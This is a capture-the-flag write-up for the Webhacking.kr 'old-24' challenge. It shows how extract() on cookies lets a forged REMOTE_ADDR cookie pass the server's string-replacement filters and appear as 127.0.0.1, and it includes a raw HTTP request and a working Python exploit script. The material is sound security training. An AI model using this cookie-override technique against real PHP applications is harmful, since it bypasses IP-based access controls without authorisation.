Webhacking.kr old-24

Challenge

Make the normalized client IP equal 127.0.0.1.

让服务端规范化后的 client IP 等于 127.0.0.1。

1
https://webhacking.kr/challenge/bonus-4/

Analysis

题目先把 $_SERVER 提取为变量,再把 $_COOKIE 提取为变量。后一次 extract() 允许名为 REMOTE_ADDR 的 Cookie 覆盖原始客户端地址,因此输入可以控制 $ip。

服务端随后按顺序执行以下替换:

1
2
3
4
$ip = str_replace("..", ".", $ip);
$ip = str_replace("12", "", $ip);
$ip = str_replace("7.", "", $ip);
$ip = str_replace("0.", "", $ip);

输入由 1122、77、三个 .、00、三个 .、00、三个 . 和 1 拼接得到。依次执行替换后,中间结果为 112277..00..00..1、1277..00..00..1、127.00..00..1,最后得到 127.0.0.1。

Solution

通过 Cookie 发送伪造的 REMOTE_ADDR;HTTP 示例中的 <FORGED_IP> 由下方脚本精确生成:

1
2
3
GET /challenge/bonus-4/ HTTP/1.1
Host: webhacking.kr
Cookie: REMOTE_ADDR=<FORGED_IP>

完整 Python 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import requests

URL = "https://webhacking.kr/challenge/bonus-4/"
FORGED_IP = "112277" + "." * 3 + "00" + "." * 3 + "00" + "." * 3 + "1"

def main() -> None:
response = requests.get(
URL,
cookies={"REMOTE_ADDR": FORGED_IP},
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

响应中的 client IP 应为 127.0.0.1。

该题依赖 Cookie 请求通道和部署行为;若页面仍显示原始地址或 no hack,说明请求未满足条件。